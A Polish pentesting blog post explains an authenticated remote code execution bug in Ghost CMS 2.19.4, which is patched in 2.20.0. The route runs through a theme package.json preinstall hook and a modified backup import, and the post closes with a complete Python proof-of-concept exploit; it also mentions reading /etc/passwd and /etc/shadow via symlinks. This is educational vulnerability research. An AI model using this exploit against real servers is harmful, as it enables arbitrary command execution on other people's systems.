20-04-2020 / Od 0 do pentestera

Ghost CMS - zdalne wykonanie kodu

Wprowadzenie

 Ghost CMS

Ghost to popularny system CMS korzystający z technologii JavaScript. W tym materiale pokażę błąd, który pozwala na wykonanie dowolnego kodu na serwerze, na którym uruchomiona jest aplikacja.

 Authenticated

Ten błąd należy do podatności authenticated - czyli, aby z niego skorzystać, należy posiadać login i hasło należące do administratora. W normalnych warunkach taki błąd nie jest poważny - ponieważ samo zdobycie hasła należącego do właściciela serwisu jest sporym wyzwaniem.

 Wersja PRO

Tutaj jest jednak trochę inaczej. Ghost jest darmowy - to znaczy każdy może pobrać jego kod źródłowy i zainstalować na swoim własnym serwerze za darmo. Ale istnieje także wersja płatna. Wtedy za małą miesięczną opłatą nie musimy się przejmować wszystkimi kwestiami technicznymi - całość jest obsługiwana przez twórców narzędzia.

Wersja PRO korzysta z dokładnie tego samego oprogramowania co wersja darmowa. I tu pojawia się jedno, zasadnicze pytanie. Czy wszyscy klienci są umiejscowieni na tej samej maszynie? A może wielu klientów korzysta z tego samego serwera?

W takim przypadku - posiadając błąd pozwalający na zdalne wykonanie kodu - możemy posiąść dane innych użytkowników.

 Błąd jest naprawiony

Błąd ten został zgłoszony (i naprawiony) rok temu (w 2019).

 Wersja 2.19.4

Jeżeli chcesz go sprawdzić samemu - musisz zainstalować wersję 2.19.4 ponieważ błąd został załatany w wersji 2.20.0.

Skrócona instrukcja instalacji dla Xubuntu wygląda mniej więcej tak:

# Install Node v10
curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash -
sudo apt-get install -y nodejs
# Yarn
sudo apt remove -y cmdtest yarn
curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add -
echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list
sudo apt-get update  
sudo apt-get install yarn
sudo yarn global add knex-migrator grunt-cli ember-cli bower
# Clone 2.19.4
git clone --recurse-submodules -b 2.19.4  https://github.com/TryGhost/Ghost.git
# Setup
yarn setup
# Start in dev mode
grunt dev
# http://localhost:2368/

Więcej informacji na temat instalacji znajdziesz tutaj.

 Wersja 2.19.4

Po zalogowaniu się do panelu administratora (dostępnego pod adresem http://localhost:2368/admin) jedną z interesujących opcji są tematy. Pozwalają one na zmianę wyglądu strony.

 Struktura tematów

Ich struktura jest dość jasno opisana. Temat to plik zip zawierający obrazki, kod JS, CSS oraz specjalne pliki z rozszerzeniem .hbs.

 Pliki .hbs

HBS to system szablonów używany przez Ghost. Mówiąc w skrócie - pozwala on na używanie pewnych bardzo okrojonych funkcji, które mogą być przydatne podczas tworzenia wyglądu strony. Chociażby do pobrania treści innego pliku z szablonu i wyświetlenia go w odpowiednim miejscu.

Sam system szablonów nie pozwala jednak na wykonanie żadnego, złośliwego kodu.

 Zip slip

Sama jednak możliwość wysyłania archiwum - z punktu widzenia pentestera jest ciekawa. Nasuwa się bowiem pytanie czy serwis właściwie obsługuje wszystkie zawiłości formatu ZIP.

Jedną z takich ciekawostek - może być podatność zip slip. Na czym ona polega?

Zip slip

 Jak działa Zip slip

W archiwach możemy mieć wiele plików. Każdy z nich posiada swoją nazwę. Standardowo, gdy aplikacja obsługuje archiwum - wypakowuje wszystkie pliki do katalogu tymczasowego (lub innego zdefiniowanego przez programistę). W naiwnej wersji - algorytm może brać nazwę pliku i łączyć go z katalogiem docelowym. Dla pliku plik.txt i katalogu /home/kacper/ghost/template/ będzie to /home/kacper/ghost/template/plik.txt.

Ale badacze wpadli na pomysł - przecież nazwa pliku może być dowolna i może zawierać znaki ../ lub ..\.. Taki ciąg w systemie operacyjnym oznacza przejdź katalog wyżej. Jeżeli więc w archiwum znajdzie się plik ../../zly_plik.txt to aplikacja spróbuje go zapisać do /home/kacper/ghost/template/../../zly_plik.txt. ../ zostanie zamienione na katalog wyżej. W ostatecznym więc rozrachunku zły plik zostanie zapisany do /home/kacper/zly_plik.txt. Czyli nie tak jak chciał programista - do katalogu template - ale w zupełnie inne miejsce - a to jest już niebezpieczne.

 Zmodyfikowany plik ZIP

Oczywiście zwykły program do tworzenia archiwów nie pozwoli nam na wybranie takiej nazwy.

Dlatego twórcy podatności stworzyli repozytorium, w którym znajdują się odpowiednio spreparowane archiwa w kilku formatach.

 Archiwum nie działa

Niestety, w przypadku Ghost - ta sztuczka nie zadziała. Podczas próby wykorzystania błędnego archiwum otrzymujemy komunikat: "Your file might be corrupted". Na szczęście to nie jedyny problem, który wiąże się z plikami ZIP.

 Symlink w pliku ZIP

W Linuxie mamy zwykłe pliki, katalogi, ale także dowiązania symboliczne. Jest to coś na zasadzie skrótu. Gdy próbujemy otworzyć jakiś plik to nie otrzymamy jego zawartości (bo plik jest pusty) ale treść innego pliku, na który wskazuje to dowiązanie symboliczne. Przykład: gdy plik.txt jest zwyczajnym plikiem - wyświetli nam zawartość /home/kacper/ghost/template/plik.txt. Ale jeśli jest symlinkiem - wyświetli nam zawartość /etc/passwd (lub jakiegokolwiek innego wybranego przez nas pliku).

A takie zachowanie jest niebezpieczne - bo ktoś może wysłać zwyczajny plik, który nie zawiera treści, ale wskazuje na zupełnie inny plik.

W ten sposób można wyświetlić dowolny plik z systemu operacyjnego (chociażby plik z hasłami użytkowników – czyli /etc/shadow).

 Symlink w archiwum

Aby przygotować takie "specjalne archiwum" trzeba użyć dodatkowego przełącznika przy komendzie zip.

Standardowo bowiem - paker podąży za dowiązaniem i dołączy do archiwum treść naszego pliku /etc/passwd.

Nie chcemy w złośliwym archiwum treści naszego pliku – ale dowiązanie symboliczne.

  • Niestety i tak przygotowany styl nie zadziałał w Ghost.
 Ghost weryfikuje poprawność stylów

Okazuje się, że aplikacja weryfikuje poprawność każdego wysyłanego stylu przy pomocy biblioteki Gscan.

 Gscan

Ta biblioteka natomiast sprawdza wszystkie pliki w archiwum.

Jeżeli którykolwiek z nich jest symlinkiem - nie pozwala na dalsze działania i zwraca odpowiedni błąd.

 Stworzenie pliku w katalogu themes

Podsumowując:

- nie udało się wykorzystać podatności zip slip

- nie udało się wykorzystać dowiązań symbolicznych

- możemy jedynie tworzyć pliki w katalogu /ghost/content/themes

Pora na dalsze poszukiwania ciekawych miejsc w kodzie, które mogłyby zawierać podatności.

 Self XSS

W panelu administratora znajduje się zakładka Code Injection.

Pozwala ona na podanie jakiegoś kawałka kodu, który pojawi się tam – gdzie w szablonie użyto znacznika {{ghost_head}}.

Jest to więc przykład miejsca, w którym możemy wykonać atak Self XSS.

Czyli wykonać kawałek kodu złośliwego kodu JavaScript.

Niestety, taki błąd to nie podatność sama w sobie.

No bo przecież administrator może edytować swoją aplikację w dowolny sposób - w tym również modyfikować jej kod JS.

Teoretycznie może więc ukraść ciasteczko administratora - tylko, że sam jest administratorem.

Nie ma sensu kraść swojego własnego ciasteczka i/lub innych rzeczy.

Trzeba szukać dalej.

 Laboratorium

Kolejną zakładką jest laboratorium.

Jak można przeczytać na samej górze - znajdują się tutaj funkcje eksperymentalne.

Z naszego punktu widzenia interesujące są dwie z nich:

  • Import treści
  • Eksport treści

Mówiąc inaczej można pobrać całą zawartość strony, a także jednym kliknięciem ją przywrócić.

Bardzo fajne narzędzie dla osób, które chciałyby przenieść swojego bloga z jednego miejsce w inne.

Ale jak to działa od środka?

 Jak działa backup strony w Ghost

Cała strona i zawartość bazy danych jest zapisywana do jednego, dużego pliku w formacie json.

Rekordy, które można tam znaleźć są szczegółowo opisane w dokumentacji.

Mamy tam więc wszystkie dane użytkowników, wpisy oraz komentarze.

 backup.json

Aplikacje

Ale podczas przeglądania tego pliku natrafiłem na jeden, interesujący fragment - installed_apps.

Jakie aplikacje? Niczego takiego wcześniej nie widziałem w panelu administratora.

 Integracje

Owszem znajdują się tam integracje, ale to zupełnie coś innego.

Dalsze poszukiwania kodu doprowadziły mnie do ciekawego tekstu:

Check with the app creator, or read the app documentation for more details on app requirements

Czyli rzeczywiście istnieją jakieś "aplikacje", ale niestety w żadnej dokumentacji nie ma o nich żadnej wzmianki.

 Instalacja aplikacji

Dalej robiło się już dużo ciekawiej - bo znalazłem kod, odpowiedzialny za instalację tych aplikacji.

Jak taka instalacja ma wyglądać?

 Paczka NPM

Okazuje się, że aplikacje to po prostu moduły w formacie NPM.

Mogą więc zawierać dodatkowe zależności - czyli kawałki kodu innych programistów.

Te zależności - umieszcza się w specjalnym pliku package.json.

Program npm przetwarza te wpisy i instaluje wszystkie potrzebne pliki - tak, aby nasza aplikacja mogła działać.

I to świetna informacja.

Zależnością może być bowiem dowolny kod - również złośliwy.

Przecież npm nie wie co instaluje - bierze tylko nazwę, poszukuje potrzebnych plików i kopiuje je na dysk twardy.

Jeżeli wiec byłbym w stanie umieścić swój plik package.json w katalogu, w którym znajdują się aplikacje - wtedy mógłbym zainstalować dowolny kod (przy pomocy komendy NPM, która jest wykonywana podczas instalacji aplikacji).

 Gdzie zainstalowane są aplikacje

Niestety, jak pisałem wcześniej - kontroluję jedynie zawartość katalogu /content/themes/%nazwa%/package.json - bo właśnie tam są zapisywane wszystkie style, przesłane poprzez panel administratora.

%nazwa% to oczywiście nazwa przesyłanego pliku ZIP.

Na szczęście aplikacje nie są przechowywane w jednym stałym miejscu.

Katalog, w którym się one znajdują można modyfikować na podstawie rekordu active_apps i installed_apps.

Te rekordy są częścią pliku backup.json - i to jest bardzo dobra informacja.

Mogę więc pobrać backup strony, zmodyfikować wartość installed_apps - tak aby wskazywała na kontrolowany przeze mnie katalog - a następnie wgrać tak zmienioną zawartość strony korzystając z funkcji importu.

 Złośliwa paczka NPM

Tutaj pojawia się jednak mały problem.

Mogę wykonać dowolny kod JS - ale muszę go najpierw opublikować pod jakąś nazwą w repozytorium NPM.

 Publicznie dostępne paczki

Tak stworzone paczki są dostępne dla wszystkich - nie jest to więc rozwiązanie idealne.

Na szczęście można obejść ten problem.

 preinstall w NPM

NPM preinstall

NPM pozwala bowiem na wiele, wiele więcej.

Jedną z dodatkowych opcji jest funkcja preinstall.

Podaje się tam dodatkową komendę, która ma zostać wykonana przed zainstalowaniem paczki.

Ta komenda nie musi być przechowywana w repozytorium - jest ona bowiem częścią pliku package.json.

W taki oto sposób mogę więc wykonać złośliwy kod na serwerze.

Wystarczy stworzyć nowy styl z plikiem package.json, gdzie w opcji preinstall podam złośliwą komendę, którą chcę wykonać.

Pojawia się jednak kolejny problem.

 Aplikacje są ładowane podczas startu Ghost

Aplikacje są ładowane (i instalowane) jedynie podczas startu Ghosta.

W normalnym użytkowaniu aplikacji - uruchamia się ją raz i nie uruchamia się jej ponownie.

Chyba, że coś aktualizujemy albo testujemy - ale to loteria.

W prawdziwym życiu zatem może dojść do sytuacji, gdzie na restart aplikacji możemy czekać wiele dni albo tygodni.

Samemu nie możemy aplikacji zrestartować - bo nie mamy dostępu do konsoli - a jedynie do panelu administratora.

 Przeładowanie aplikacji

Na szczęście programiści przewidzieli wyjątek - moment, w którym cała aplikacja jest ładowana ponownie.

W Ghost możemy zdefiniować routing - czyli sposób, jak wyglądają odnośniki w naszej aplikacji.

Taki routing jest definiowany jedynie podczas inicjalizacji aplikacji i się nie zmienia.

Nie miało by to bowiem żadnego sensu, aby raz odnośniki wyglądały tak: /blog/odnośnik a raz moj_blog/podkatalog/odnośnik.

Jeżeli jednak administrator chce zmienić tą wartość - może to zrobić wysyłając odpowiedni plik yaml.

 Aktualizacja routingu

Wtedy to cały Ghost jest ładowany ponownie (wraz ze zmienionym routingiem) - a tym samym nasze "złośliwe" aplikacje.

Cały atak wygląda więc mniej więcej tak:

 Jak wygląda exploitacja

Jak wygląda atak

1. Zaloguj się jako administrator

2. Pobierz obecny styl

3. Stwórz nowy, złośliwy styl na podstawie starego

4. Zmodyfikuj package.json

5. Dodaj wpis preinstall z komendą do wykonania

6. Wyślij nowy styl i zapamiętaj jego nazwę

7. Wyeksportuj stronę

8. Zmodyfikuj active_apps

9. Nowa wartość powinna wskazywać na ../theme/nazwa_stylu

10. Zaimportuj zmieniony plik

11. Wyeksportuj dane routingu

12. Zaimportuj dane routingu

 Jak otrzymać wynik działania komendy

Ostatnia rzecz jaka została do omówienia to jak uzyskać wynik komendy.

Możemy wykonać dowolną komendę na systemie - ale fajnie byłoby wiedzieć jaki był jej wynik.

Tu ponownie - pomaga sama aplikacja.

Część zasobów znajdujących się na dysku (o ile znajdują się w odpowiednim katalogu) jest bezpośrednio wyświetlana użytkownikowi.

Tak jest chociażby z obrazkami.

 Gdzie zapisywane są obrazki

Wystarczy więc, że wynik naszej komendy zostanie zapisany do pliku /content/images/exploit - a my będziemy mogli go z łatwością pobrać korzystając z adresu: http://ghost/content/images/exploit.

 Jak naprawiono błąd

Błąd naprawiono bardzo sprawnie, dodając dodatkowy kod w funkcji importu strony.

Jeżeli w pliku backup.json znajdował się rekord active_apps bądź installed_apps - jest on po prostu ignorowany.

Tym samym nie można zmienić standardowej lokalizacji, w której znajdują się aplikacje – a tym samym zainstalować własnej aplikacji (korzystając z wysyłki tematów).

 Usunięcie aplikacji

Po pewnym czasie wprowadzono dodatkową zmianę - całkowicie usunięto kod odpowiedzialny za aplikacje.

Jak dowiedziałem się od programistów - była to eksperymentalna funkcjonalność z której w sumie nie korzystano.

POC

import os
import zipfile
import requests
import json
import StringIO
import time
url = "http://localhost:2368/ghost/"
theme_name = "exploit"+".zip"
command = 'whoami > ../../images/exploit'.replace('"', '\\"')
username = "[email protected]"
password = "zaq12wsxzaq1"
package_json = """{
  "name": "exploit",
  "version": "1.0.0",
  "description": "exploit",
   "author": {
        "name": "Kacper Szurek",
        "email": "[email protected]"
  }, 
  "keywords": [
        "ghost-theme"
  ],
  "repository": {
    "type": "git",
    "url": "git://github.com/kacperszurek/exploits.git"
  },
  "license": "MIT",
  "scripts": {
    "preinstall": "{command}"
  }
}""".replace("{command}", command)
buff = StringIO.StringIO()
zip_out = zipfile.ZipFile(buff, 'w', compression=zipfile.ZIP_DEFLATED)
zip_package = zipfile.ZipInfo("package.json")
zip_out.writestr(zip_package, package_json)
zip_index = zipfile.ZipInfo("index.hbs")
zip_out.writestr(zip_index, "")
zip_post = zipfile.ZipInfo("post.hbs")
zip_out.writestr(zip_post, "")
zip_out.close()
s = requests.Session()
s.headers.update({'Origin': url})
r = s.post('{}api/v2/admin/session'.format(url), data={"username": username, "password": password})
if r.text != "Created":
  print "[-] Cannot login"
  os._exit(0)
r = s.get('{}api/v2/admin/users/me/?include=roles'.format(url))
user_info = r.json()
print "[+] Logged as {}".format(user_info['users'][0]['name'])
r = s.post('{}api/v2/admin/themes/upload/'.format(url), files = {'file': (theme_name, buff.getvalue(), 'application/zip')})
theme_info = r.json()
theme_name = theme_info['themes'][0]['name']
print "[+] Upload theme {}".format(theme_name)
r = s.get('{}api/v2/admin/db/'.format(url))
import_content = r.json()
for settings in import_content['db'][0]['data']['settings']:
  if settings['key'] == 'active_apps':
    settings['value'] = '["../themes/{}/"]'.format(theme_name)
r = s.post('{}api/v2/admin/db/'.format(url), files = {'importfile': ("root.json", json.dumps(import_content))})
print "[+] Import active_apps value"
r = s.get('{}api/v2/admin/settings/routes/yaml/'.format(url))
routes_yaml = r.text
r = s.post('{}api/v2/admin/settings/routes/yaml/'.format(url), files = {'routes': ("routes.yaml", routes_yaml)})
print "[+] Upload routes"
print "[+] Sleep 5 seconds"
time.sleep(5)
print "[+] Output:"
r = s.get('{}content/images/exploit'.format(url[0:-6]))
print r.text